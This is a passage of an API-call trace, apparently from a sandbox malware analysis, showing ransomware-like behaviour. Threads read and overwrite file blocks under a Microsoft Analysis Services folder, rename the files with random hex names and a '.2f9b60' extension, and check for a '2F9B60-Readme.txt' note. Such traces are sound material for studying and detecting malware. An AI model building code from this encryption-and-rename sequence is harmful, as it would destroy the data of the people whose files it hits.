returned 2 [0208.102] sprintf (in: _Dest=0x202a8ba6, _Format="%c%c" | out: _Dest="02") returned 2 [0208.102] sprintf (in: _Dest=0x202a8ba8, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.102] sprintf (in: _Dest=0x202a8baa, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.102] sprintf (in: _Dest=0x202a8bac, _Format="%c%c" | out: _Dest="58") returned 2 [0208.102] sprintf (in: _Dest=0x202a8bae, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.102] sprintf (in: _Dest=0x202a8bb0, _Format="%c%c" | out: _Dest="53") returned 2 [0208.102] sprintf (in: _Dest=0x202a8bb2, _Format="%c%c" | out: _Dest="90") returned 2 [0208.102] RtlInitAnsiString (in: DestinationString=0x2211fa28, SourceString="ef127cab2f0b4fdad1782902b9f058e55390" | out: DestinationString="ef127cab2f0b4fdad1782902b9f058e55390") [0208.102] RtlAnsiStringToUnicodeString (in: DestinationString=0x2211f9f8, SourceString="ef127cab2f0b4fdad1782902b9f058e55390", AllocateDestinationString=1 | out: DestinationString="ef127cab2f0b4fdad1782902b9f058e55390") returned 0x0 [0208.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d670 [0208.103] wcscat (in: _Dest=0x20279370, _Source="ef127cab2" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\ef127cab2") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\ef127cab2" [0208.103] wcscat (in: _Dest=0x20279370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\ef127cab2.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\ef127cab2.2f9b60" [0208.103] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\ef127cab2.2f9b60", NtPathName=0x2211f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\ef127cab2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118470 [0216.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0216.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5dd0) returned 1 [0216.535] NtQueryInformationFile (in: FileHandle=0xe70, IoStatusBlock=0x2211fa38, FileInformation=0x2211fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2211fa38, FileInformation=0x2211fa48) returned 0x0 [0216.535] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x2211fa38, FileInformation=0x2211fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0219.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d670) returned 1 [0219.501] FlushFileBuffers (hFile=0xe70) returned 1 [0221.373] CloseHandle (hObject=0xe70) returned 1 [0222.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x431ecba0 [0222.833] wcscpy (in: _Dest=0x431ecba0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0222.833] wcscat (in: _Dest=0x431ecba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0222.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0222.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ecba0) returned 1 [0222.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861cd0) returned 1 Thread: id = 1188 os_tid = 0xce4 [0113.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0113.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", dwFileAttributes=0x20) returned 1 [0113.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea0 [0113.884] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x262bf8a0 | out: lpFileSize=0x262bf8a0*=34076) returned 1 [0113.884] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x8518, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.884] ReadFile (in: hFile=0xea0, lpBuffer=0x262bf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x262bf868, lpOverlapped=0x0 | out: lpBuffer=0x262bf820*, lpNumberOfBytesRead=0x262bf868*=0x4, lpOverlapped=0x0) returned 1 [0113.887] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0113.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.887] NtQuerySystemTime (in: CurrentTime=0x262bf760 | out: CurrentTime=0x262bf760*=132462177193474000) returned 0x0 [0113.887] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x3af482b1 [0113.887] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x15291a93 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x749dd877 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x56e3d705 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x3ae02358 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x583de533 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x4d32b233 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x8af154e [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x7d96fac9 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x79152cc0 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x79a4d532 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x14016c9e [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x2a6b96d [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x2b625d90 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x1692a1f4 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x43863567 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x7e5f6f56 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x54a19798 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x4e9b449c [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x46768070 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x69b09c98 [0113.888] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x489d70da [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x6742d89b [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x59ba453 [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x3dc60785 [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x762e45e3 [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0xa9ca22 [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x26c7609d [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x746ac529 [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x1b1b57e7 [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x575a5ac [0113.889] RtlRandomEx (in: Seed=0x262bf750 | out: Seed=0x262bf750) returned 0x19f68165 [0113.903] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.904] ReadFile (in: hFile=0xea0, lpBuffer=0x41d80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x262bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x41d80d80*, lpNumberOfBytesRead=0x262bf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.908] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0113.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637d0) returned 1 [0113.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d84990 [0113.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0113.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.910] WriteFile (in: hFile=0xea0, lpBuffer=0x41d84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x262bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x41d84990*, lpNumberOfBytesWritten=0x262bf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d84990) returned 1 [0159.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d80d80) returned 1 [0159.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb47f0 [0159.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8677c0 [0159.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4820 [0159.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4820) returned 1 [0159.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb4820 [0159.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4850 [0159.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4880 [0159.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4880) returned 1 [0159.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0159.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x420554f0 [0159.662] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.662] WriteFile (hFile=0xea0, lpBuffer=0x420554f0, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x262bf870, lpOverlapped=0x0) [0200.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0200.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605d0) returned 1 [0200.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0200.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0200.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860060) returned 1 [0200.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.398] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="db") returned 2 [0200.398] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="71") returned 2 [0200.398] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="c2") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="c6") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="45") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="1e") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="71") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="7e") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="42") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="36") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="ce") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="97") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="36") returned 2 [0200.399] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="80") returned 2 [0200.399] RtlInitAnsiString (in: DestinationString=0x262bf8e8, SourceString="db71c2b7c64ab645c96e1ed0f9717e42b036ce973680" | out: DestinationString="db71c2b7c64ab645c96e1ed0f9717e42b036ce973680") [0200.399] RtlAnsiStringToUnicodeString (in: DestinationString=0x262bf8b8, SourceString="db71c2b7c64ab645c96e1ed0f9717e42b036ce973680", AllocateDestinationString=1 | out: DestinationString="db71c2b7c64ab645c96e1ed0f9717e42b036ce973680") returned 0x0 [0200.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a08a0 [0200.400] wcscat (in: _Dest=0x431edce0, _Source="db71c2b7c64" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\db71c2b7c64") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\db71c2b7c64" [0200.400] wcscat (in: _Dest=0x431edce0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\db71c2b7c64.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\db71c2b7c64.2f9b60" [0200.400] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\db71c2b7c64.2f9b60", NtPathName=0x262bf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\db71c2b7c64.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced09e0 [0203.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced09e0) returned 1 [0203.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fbad0) returned 1 [0203.909] NtQueryInformationFile (in: FileHandle=0xea0, IoStatusBlock=0x262bf8f8, FileInformation=0x262bf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x262bf8f8, FileInformation=0x262bf908) returned 0x0 [0203.909] NtSetInformationFile (FileHandle=0xea0, IoStatusBlock=0x262bf8f8, FileInformation=0x262bf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0207.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431edce0) returned 1 [0207.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a08a0) returned 1 [0207.743] FlushFileBuffers (hFile=0xea0) returned 1 [0207.746] CloseHandle (hObject=0xea0) returned 1 [0209.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce220e0 [0209.462] wcscpy (in: _Dest=0x1ce220e0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0209.462] wcscat (in: _Dest=0x1ce220e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0209.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0209.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce220e0) returned 1 [0209.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861d80) returned 1 Thread: id = 1189 os_tid = 0xce8 [0113.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0113.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", dwFileAttributes=0x20) returned 1 [0113.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14e4 [0113.913] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x376afa20 | out: lpFileSize=0x376afa20*=32146) returned 1 [0113.913] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x7d8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.913] ReadFile (in: hFile=0x14e4, lpBuffer=0x376af9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x376af9e8, lpOverlapped=0x0 | out: lpBuffer=0x376af9a0*, lpNumberOfBytesRead=0x376af9e8*=0x4, lpOverlapped=0x0) returned 1 [0113.916] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607d0 [0113.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0113.916] NtQuerySystemTime (in: CurrentTime=0x376af8e0 | out: CurrentTime=0x376af8e0*=132462177193786000) returned 0x0 [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x55bc2e24 [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x687e6ea9 [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x36737a8 [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x10751e5c [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x31c216b [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x3c73c3cc [0113.916] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x56f0d567 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x6310fe79 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x787e36d0 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x6d67e4ef [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x45fb34b4 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x26e32019 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x40903e7c [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x7fbd646c [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x1b0e71ed [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x616b4f09 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x71f6b6e7 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x86ed1ea [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x1d756c95 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x6847e558 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x2c41b039 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x6fd9ad21 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x545481f8 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x3290a906 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x7a34e505 [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x68353d4e [0113.917] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x343545fa [0113.918] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x4407bdfc [0113.918] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x2aa13bde [0113.918] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x971fd34 [0113.918] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0x300c9813 [0113.918] RtlRandomEx (in: Seed=0x376af8d0 | out: Seed=0x376af8d0) returned 0xd7976da [0113.929] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.930] ReadFile (in: hFile=0x14e4, lpBuffer=0x41d885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x376af940, lpOverlapped=0x0 | out: lpBuffer=0x41d885a0*, lpNumberOfBytesRead=0x376af940*=0x3c00, lpOverlapped=0x0) returned 1 [0113.937] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d8c1b0 [0113.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0113.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260770) returned 1 [0113.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.939] WriteFile (in: hFile=0x14e4, lpBuffer=0x41d8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x376af940, lpOverlapped=0x0 | out: lpBuffer=0x41d8c1b0*, lpNumberOfBytesWritten=0x376af940*=0x3c00, lpOverlapped=0x0) returned 1 [0113.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d8c1b0) returned 1 [0113.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d885a0) returned 1 [0113.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0113.958] 